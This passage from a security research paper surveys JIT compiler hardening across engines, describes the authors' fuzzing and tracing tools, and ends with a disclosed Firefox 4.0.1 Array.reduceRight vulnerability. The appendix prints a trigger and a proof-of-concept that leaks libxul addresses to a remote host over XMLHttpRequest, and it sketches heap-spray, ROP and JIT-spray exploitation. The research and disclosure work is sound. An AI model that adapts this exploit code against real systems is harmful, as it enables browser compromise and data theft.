buffer overflow in one of these pages there is the potential that an attacker can overflow 
a buffer onto an existing RWX JIT allocation that is mapped just beyond the RW heap 
page. Placing guard pages with no permissions on either side of the JIT page 
allocations will prevent this attack.

The following Firefox mapping illustrates the issue on 32 bit Linux.
...
02808000-0280c000 rw-p 00000000 00:00 0    RW heap memory
0280c000-0281c000 rwxp 00000000 00:00 0    RWX JIT page
...

Constant Folding

The JIT spray attack uses 4 byte attacker-supplied constants as immediate operands to 
deliver an instruction followed by a branch to the next constant. Constant folding 
involves splitting all user supplied input (such as 0x41424344) into small (2 byte) values 
and later combining them into the original constants. It is harder for an attacker to fit the 
necessary instructions for JIT spray into two bytes. Constant folding does not provide 
adequate protection against JIT spray if the instruction stream is predictable. Here is an 
example of how constant folding works:

Constant folding disabled:



mov eax, 0x41424344

Constant folding enabled:

mov eax, 0x4142
mov ebx, 0x4344
add eax, ebx

Constant Blinding

Constant blinding involves altering attacker-provided constants by XORing them against 
a random value at emission-time. The attacker provided constant A is XORed by a 
secret value B to produce C. At runtime, B is XORed by C to produce A again.

Constant blinding disabled:

mov eax, 0x41424344

Constant blinding enabled:

mov ecx, B
xor ecx, C
A = xor eax, ecx

This technique ensures that no malicious data is left in its original form in the instruction 
stream.

Allocation Restrictions

When ASLR is enabled and utilized, an attacker typically relies on a JIT spray attack, 
filling as much address space as possible with shell code (via constants) to increase the 
odds of branching to a correct address. This can produce allocations of hundreds of 
megabytes or larger. JIT engines rarely produce that much native code during normal 
operation.

JIT allocation restrictions place a limit on the number of pages that may be allocated by 
the JIT engine. This can help prevent attacks without impeding the normal operation of 
a browser but may have disadvantages for JIT-backed language runtimes.

This protection makes sense in a browser, as the standard workload is predictable, but 
may not always be appropriate in a generic JIT such as JVM/CLR or a library such as 
LLVM.



Random NOP Insertion/Random Code Base Offsets

ASLR is strictly a link-stage/load-stage (and now, emit-stage) protection mechanism and 
thus only capable of randomizing addresses at page resolution. The code generator is 
deterministic and is influenced by a high level source language directly. It is thus 
straightforward to predict intra-page offsets, given a successful JIT spray.

Beginning each emitted function or code block with a random number of semantic no-op 
instructions increases entropy within a page or code segment and helps JITs achieve 
randomization not possible with dynamically-loaded libraries. NOPs can also be 
scattered throughout code emitted by the JIT to further reduce the predictability of 
reusable code blocks.

Tamarin, the JIT engine in Adobe’s flash player, shares the NanoJIT engine with 
TraceMonkey. In 2010, the developers of NanoJIT added two configuration options to 
the engine: random NOP insertion and random code base offsets. Unfortunately, the 
developers never enabled these features. In addition the Tamarin developers made the 
decision to turn off these protections when compiling code thunks. Thunks in Tamarin 
are defined as calls to trusted C stub functions such as Math_floor_thunk() or 
XML_AS3_toString_thunk(). These functions may not contain attacker controllable 
constants but may contain reusable code chunks.

        // disable hardening features when compiling thunks
        nanojit::Config cfg = core->config.njconfig;
        cfg.harden_function_alignment = false;
        cfg.harden_nop_insertion = false;

It is critical that these protection mechanisms be applied to all JIT produced code in 
order to prevent an attacker from finding reusable code chunks within them.

Note: We surveyed each engine for their use of random NOP insertion but it is unknown 
for some engines what, if any, exceptions (such as the one above) are made for this 
protection mechanism.

JIT Hardening Comparison

We surveyed a number of competing JIT engines. Some of the engines are method JITs 
while others are tracing JITs. Each JIT was evaluated for the hardening techniques 
described above.



V8 IE9* Jaeger
Monkey

Trace
Monkey

LLVM JVM Flash / 
Tamarin

Secure Page 
Permissions

N Y N N N N N

Guard Pages Y N** N N N N N
Page Randomization 

(VirtualAlloc on Win32)
Y Y N N N N N

Constant Folding N N N N N N N
Constant Blinding Y Y N N N N N

Allocation Restrictions Y Y N N N N N
Random NOP Insertion Y Y N Y† N N Y†

Random Code Base 
Offset

Y Y N Y† N N Y†

* Part of our IE9 research was based on conversations with security engineers at Microsoft and their 
public presentations on hardening their own JIT implementation.

** IE9 has secure (RX) page permissions, guard pages are less important. However these pages are 
originally allocated RWX when first created.

†This feature is implemented but not enabled in either source or configuration by default. (The Tamarin 
and TraceMonkey engines share the NanoJIT code base. We discovered a simple NOP padding function 
that had been implemented but accidentally left disabled.)

As we have shown JIT engines are slow to adopt and implement known protection 
mechanisms such as random NOP insertion, padding and JIT allocation restrictions. 
Like any complex piece of software, JITs expose applications to a greater risk of 
exploitation than if they were not present, especially considering their purpose is to 
generate native executable code. The amount of influence untrusted inputs have over 
JIT outputs leaves these components at a distinct disadvantage when it comes to 
making the most of memory corruption protection mechanisms.

JITs by design inhibit other security features such as code signing. On a platform such 
as iOS, where all executable segments must originate from a signed application, a JIT 
engine makes this impossible. Apple has announced plans to support the Nitro JIT for 
mobile Safari in iOS 5.0. Consequently the code signing feature for that application was 
disabled as a result.

Consider the case of a function pointer overwrite via a heap overflow vulnerability 
combined with an information leak vulnerability. Assume the target process is running 



under a hardened environment where full ASLR and DEP are enforced where full ASLR 
includes randomization of all library and .text bases. The attacker can use the 
information leak to discover the base address of a particular DLL containing the 
necessary ROP gadgets for code reuse. This is a fairly standard scenario and works 
reliably in practice. When a JIT engine is introduced, even one containing one or all of 
the known protection mechanisms, an attacker can now directly influence executable 
memory. This has the potential to introduce more usable code gadgets into memory that 
wouldn't be available otherwise. Combining this with an information leak to discover the 
location of these JIT pages in memory holds additional potential for code reuse exploits. 
Furthermore the presence of insecure RWX page permissions invites the possibility of 
JIT code over writes via adjacent RW pages. In this scenario an attacker overwrites 
RWX JIT pages with raw x86 code via a buffer overflow in an adjacent page and then 
triggers the JavaScript or intermediate representation that was written by the JIT at that 
location.

Like all memory protection mechanisms, each of these delivers their own obstacles for 
an attacker to overcome. Much like enforcing ASLR without DEP or DEP without ASLR, 
implementing just one or two of these JIT protections leaves a weakened environment 
for an attacker to exploit. When combined they provide a hardened JIT runtime that an 
attacker will have to work harder to exploit.

Tools

To facilitate our research, we developed a number of tools including fussers, dynamic 
debugger extensions and data collection tools. We did not just write these tools for 
ourselves, our jitter toolchain will be released to the security community to help advance 
the state of JIT security research.

Debugging and Tracing

For extracting and analyzing the native code produced by JIT engines, we created 
several utilities on top of the Ragweed engine [13]. Ragweed is a cross-platform 32 bit 
(Win32, Linux, OSX) native code debugging library written in pure Ruby. Using the 
Nerve dynamic debugger [14] (built on top of Ragweed), we wrote breakpoint scripts to 
provide access to JIT produced native code. This allows us to instrument native code 



generators to observe their behavior in real-time and examine JIT produced code during 
runtime.

Our jitter toolchain currently only supports Firefox Tracemonkey, Firefox Jaegermonkey 
and LLVM JIT engines. We also developed a generic script for tracing calls to 
VirtualAlloc or mmap from user provided JIT call sites. This generic script can be used 
to boot strap newer jitter scripts for new JIT engines.

Tracing the Firefox JIT engines required some light reverse engineering of the 4.0.1 
Win32 mozjs.dll to find specific JIT hook points. jitter currently hooks the following 
functions:

All JIT call sites for VirtualProtect, VirtualAlloc, mmap, mprotect
JaegerTrampoline
JaegerTrampolineReturn
TrampolineCompiler::compile
mjit::TryCompile
PolyIC Stub Calls
MonoIC Stub Calls
Fast Paths (this is a work in progress as there are many fast paths to consider)

Jitter can also trace code emission under LLVM, recording all emission points by 
hooking JIT::NotifyFunctionEmitted, normally used by the platform-dependent code 
generator to notify the JIT engine.

Some JIT engines already provide convenient hooks for tracing their internal routines. 
Tracing the JVM code emission was performed via JVM Tool Interface hooks. The 
source to the tracing library is included with jitter and works with the JVM on OS X, 
Win32 and Linux.

Also included in the jitter toolchain is our reusable gaJIT finding Ruby class. A majority 
of ROP gadget analysis tools only operate on memory that contain loaded executable 
modules or the module file itself. These tools are not sufficient for our research goal of 
finding reusable repeated code patterns in JIT produced code pages. Our gaJIT finding 
script is designed to work on arrays of raw buffers extracted from memory using the 
other features of our jitter toolchain. The gaJIT class is entirely independent of the rest 
of the toolchain and can be easily used as a general purpose ROP gadget finder.

Fuzzing



Our approach to fuzzing JIT engines varied widely between implementations. Fuzzing 
JavaScript JIT engines found in web browsers is considerably easier than fuzzing the 
LLVM JIT in a language runtime. There is a long history of public language interpreter 
vulnerabilities and a handful of JIT vulnerabilities. As we discussed in a previous section 
of the paper many of these bugs are not marked security. Fuzzing specifically for 
vulnerabilities in the back end code emission generator of a JIT engine is difficult. The 
sections below describe each approach.

JavaScript Fuzzing

Historically, client side web browser vulnerabilities have been DOM object lifecycle 
management related, and not in the core JavaScript language implementation. The 
browser typically exposes the DOM to be manipulated by a higher level scripting 
environment, this can lead to many issues outside the core scripting language 
implementation. Examples include the Firefox nsDOMAttribute [8] vulnerability 
(CVE-2010-3766) and the Internet Explorer Aurora vulnerability [9] (CVE-2010-0249) 
which was used to compromise Google systems in 2010. There are many dozens of 
examples of these types of issues. While these vulnerabilities are indeed exploitable 
and important, our fuzzing efforts were not designed to find them. In the case of 
JavaScript JIT engines our fuzzers attempted to uncover vulnerabilities in the core 
JavaScript language implementation (SpiderMonkey) and the back-end JIT engines 
(JaegerMonkey, TraceMonkey). The Mozilla JIT components do not allow direct access 
to the SpiderMonkey bytecode via an established API. The bytecode is generated by 
trusted components and is therefore considered safe. So any fuzzing must be 
performed using JavaScript.

This requires semi-intelligent fuzzers that make an attempt to avoid shallow, syntax-
related errors. We implemented a JavaScript 1.8 grammar fuzzer in Ruby and described 
the grammar using a variety of Ruby objects to represent types, methods, control flow 
statements, operators and keywords. This fuzzer was used to target the Mozilla 
SpiderMonkey engine, which in turn propagated test case data to the JaegerMonkey 
and TraceMonkey engines. We used the SpiderMonkey engine js shell to deliver our 
testcases in a fast efficient manner. The js shell was run with the following arguments:

  -j    Enable the TraceMonkey tracing JIT
  (this flag was used independently of -m and -a)

  -m    Enable the JaegerMonkey method JIT
  -a    Always method JIT, ignore internal tuning
        This only has effect with -m



After reviewing the JaegerMonkey source code we had a list of functions that could be 
targeted by tailoring our testcases to their intended usage. We studied the 
JaegerMonkey source code to find the more complex fast path generators and how they 
could be reached via JavaScript. Reading the jsopcode.tbl file is a good place to start 
this process. This file defines the SpiderMonkey bytecode opcodes. By understanding 
which bytecode opcodes are generated for a given chunk of JavaScript we can be 
better understand the JaegerMonkey compiler and track down the JavaScript to 
bytecode to native code translation process. For example the bytecode opcode 
JSOP_NOT indicates a logical NOT operator (e.g. '!'). We can find where this opcode is 
compiled in JaegerMonkey by viewing the Compiler.cpp file and searching for the 
opcode, which we find on line 1170.

     BEGIN_CASE(JSOP_NOT)
        jsop_not();
     END_CASE(JSOP_NOT)

This opcode triggers a call to the jsop_not function in JaegerMonkey. We can find its 
implementation in FastOps.cpp. This example is simple, the function simply pops the 
top most value from the JavaScript stack and checks its type. Following each fast path 
in this manner can helped build the initial round of test cases for our fuzzer. The first 
round generated over 6 billion test cases and took nearly a week to run. We broke down 
the grammar iteration into individual test rounds that focused on a specific theme such 
as arithmetic or calling multiple object methods in various orders with various 
arguments.

Our fuzzer was able to find several uninteresting vulnerabilities such as NULL pointer 
dereferences and triggered several debug asserts in SpiderMonkey and JaegerMonkey. 
It also found a critical vulnerability in the SpiderMonkey engine which we reported to 
Mozilla. You can find more information about this vulnerability in Appendix A at the end 
of this paper.

We have decided not to release our JavaScript fuzzer, or many of its results, until we 
can modify it to run against other JavaScript JIT engines. We are still in the process of 
instrumenting it with better tools that will detect subtle memory corruption such as 
Valgrind and AddressSanitizer by Google.

LLVM Language Runtime Fuzzing

Since bitcode is typically (and LLVM specifically) binary-encoded data, blind fuzzing 
such as bit-flipping is of value. We created an ad-hoc, semi-intelligent fuzzer (as 



opposed to a complete, grammar-based fuzzer) for LLVM due to time constraints and a 
general lack of boundaries with existing LLVM client applications.

With JavaScript engines, the security boundary is clearly defined. While less true with 
Ruby implementations, what constitutes accepted behavior is generally understood. 
This is less obvious with LLVM, as the trust of LLVM bitcode/API is dependent on its use 
case and components that process bitcode are written for performance and not for 
security. 

The bitcode parsing library in LLVM, and the compiler infrastructure as a whole is not 
developed with the assumption that any stage of the compilation process can be 
malicious. However, with LLVM use rising, we still considered the future potential for 
library misuse or incomplete IR validation a valid attack scenario.

Through the use of fuzzers and manual code review we uncovered issues in LLVM’s 
bitcode parsing (fixed in svn r133867).

Rubinius Fuzzing

To target Rubinius, we used a grammar fuzzer that permuted Ruby language constructs 
in similar ways to the JavaScript fuzzer and began work on targeting Rubinius' bytecode 
directly. We began with the Ruby language, as opposed to the bytecode directly, to later 
target more Ruby JIT implementations (MacRuby also uses LLVM). We modeled the 
target grammar in a Ruby Domain-Specific Language and made continuous changes to 
the fuzzing approach throughout our research. As this effort is still ongoing, we are 
reserving results amd analysis for a later time.



Conclusion and Future Direction

At the start of our research, Just-In-Time compilers have gained widespread use and 
prevalence at a faster pace than the security community had a chance to analyze them.

We set out to better understand the security implications of JIT compilation and 
document it from two fronts: the attack vectors that JIT engines are susceptible to and 
the protection mechanisms they can implement to reduce the risk of their use in 
exploitation. We have attempted to focus more on a comparative study on which further 
work can be built rather than an exhaustive enumeration of techniques implemented by 
developers. 

The bugs we’ve uncovered are already having a direct, positive effect on projects such 
as Mozilla Firefox and LLVM via bug-fix patches and architectural direction. We hope 
that the collection of defense mechanisms we’ve collected will serve to help Just-In-
Time compilers assess their security and more importantly, bring attention to the 
importance of scrutiny of their inputs and environment.

Due to the breadth of the topic we selected, exhaustive coverage was hard to achieve. 
Some compilers such as JaegerMonkey and LLVM, we have attempted to go into a 
level of depth describing their architecture and our approach to analyzing them. Others 
we’ve focused less on, creating tools for future work or briefly describing their major 
attributes. Some others, such as the .NET CLR, leave room for future analysis.

Our plans include continuing and expanding our fuzzing effort, distributing it across 
more machines and iterating on grammar instantiation methods. One method we are 
considering involves fuzzing multiple implementation of the same specification (such as 
multiple JavaScript engines, or Oracle’s JVM implementation with LLVM’s VMKit) in 
lock-step, analyzing the differences of their outputs. We believe this can be effective for 
surfacing undefined behavior, as well as detect information disclosure bugs, which are 
notoriously difficult to find with fuzzing.

We believe a major source of JIT security issues in the future will be incorrect machine 
code emission, not just utilizing the JIT for its easily abused memory permissions or 
code predictability. Code emission bugs are not always attributed as security issues 
(such as the JVM JIT bug 7056390 [5]), but can directly lead to exploitable conditions. 
Such vulnerabilities can maintain the integrity of the JIT engine itself, yet produce 
erroneous code and directly lead to exploitable conditions. These issues are potentially 



deserving of their own, new class of security vulnerabilities, but we leave that discussion 
to the larger security research community.
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Appendix A.
Firefox 4.0.1 Array.reduceRight() Case Study

Our fuzzer found a highly critical vulnerability [16] in the Firefox SpiderMonkey front that 
we decided to report to Mozilla. The vulnerability allows for both an information leak and 
arbitrary code execution. These two properties can be combined to defeat ASLR/DEP 
independent of any JIT engine. However we wanted to explore the possibilities of using 
the JIT engine to exploit a critical code execution vulnerability.

Our vulnerability is triggered in Firefox 3.6.17 and 4.0.1 by the following lines of 
JavaScript:

  xyz = new Array;
  xyz.length = 4294967240;
  a = function rr(prev, current, index, array) {
    document.write(current);
  }
  xyz.reduceRight(a,1,2,3);

Below we have provided a brief overview of the vulnerability in the Firefox 4.0.1 source 
code:

The call to the reduceRight method in JavaScript triggers a call to the C++ array_extra 
function in jsarray.cpp. On line 2740 the Array.length property is assigned to an 
unsigned integer:

    jsuint length;
    if (!js_GetLengthProperty(cx, obj, &length))
        return JS_FALSE;

On line 2767 if the method called is reduceRight start, end and step are initialized but 
reversed. These variables are all signed integers of type jsint

    jsint start = 0, end = length, step = 1;

    switch (mode) {
      case REDUCE_RIGHT:
        start = length - 1, end = -1, step = -1;

This first call to GetElement on line 2784 can be avoided by providing >= 2 arguments 
to the reduceRight method. The next call to GetElement on line 2839 is the call we want 
to reach. This call lies within a for loop that iterates over each element of the array 
calling the Javascript callback provided as the first argument to reduceRight method.



Now that a controllable signed index value is passed into GetElement the following if 
statement is executed:
    
 if (obj->isDenseArray() && index < obj->getDenseArrayCapacity() &&
[360]!(*vp = obj->getDenseArrayElement(uint32(index))).isMagic
(JS_ARRAY_HOLE))    {
        *hole = JS_FALSE;
        return JS_TRUE;
}

The following pseudo code illustrates what occurs on line 360 of the code above:

  *vp = obj->slots[attacker_controlled_index]

The *vp pointer now points out of bounds from the obj->slots array from an attacker 
controlled offset. If this doesn't point to a mapped page then the process will crash. 
Back in array_extra function the following code is executed

for (jsint i = start; i != end; i += step) {
  JSBool hole;
  ok = JS_CHECK_OPERATION_LIMIT(cx) &&
   GetElement(cx, obj, i, &hole, tvr.addr());   // line 2839
   uintN argi = 0;
   if (REDUCE_MODE(mode))              // setup the arguments to reduceRight
()
        session[argi++] = *vp;              // prev
        session[argi++] = tvr.value();      // current
        session[argi++] = Int32Value(i);    // index
        session[argi]   = objv;             // array

        /* Do the call. */
       ok = session.invoke(cx);       // invoke the javascript callback

tvr.value will return the Value class instance which contains a jsval_layout union. This 
Value instance was derived using our out of bounds array index in the GetElement 
function. The jsval_layout union means the Value instance may be interpreted as an 
Integer, String or Object value depending on the memory contents at the address of the 
obj->slots[attacker_controlled_index].

Exploiting this vulnerability on a system without DEP is trivial. All an attacker needs to 
do is spray the heap with fake Value structures tagged as type JSVAL_TYPE_OBJECT 
with the asPtr member set to a familiar heap spray value of 0x0c0c0c0c and then trigger 
any method off of the current variable passed to the reduceRight method.



Achieving an information leak using this vulnerability is also trivial. The following 
Javascript will leak libxul addresses on Firefox 4.0.1 in 32-bit Linux and send them to a 
remote host:

xyz = new Array;
xyz.length = 4294967240;

a = function rr(prev, cr, indx, array) {
  if(typeof current == "number" || current != "NaN" && current != 
"undefined")
  {
    r = new XMLHttpRequest();
    r.open('GET', 'http://1.1.1.1:4567/s?t=' + typeof cr + '&v=' + cr, 
false);
    r.send(null);
   }
}

xyz.reduceRight(a,1,2,3);

Using the JIT to exploit this vulnerability is a non-trivial task but entirely possible. As 
demonstrated above the vulnerability allows for an information leak in addition to 
arbitrary code execution. We can use the libxul information leak to set our fake object 
structures asPtr member to our stack pivot gadget in libxul, point the stack pointer at our 
ROP chain and copy shellcode into existing RWX JIT pages. Alternatively we can JIT 
spray to force the allocation of many JIT pages containing constants which string 
together our shellcode and transfer execution to it by spraying the heap with fake Value 
objects with the asPtr member pointing at one of the constants, which are predictably 
placed in each JIT page.


